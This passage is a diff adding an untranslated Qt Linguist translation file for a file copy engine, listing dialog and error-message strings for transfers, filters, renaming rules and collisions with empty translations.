+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
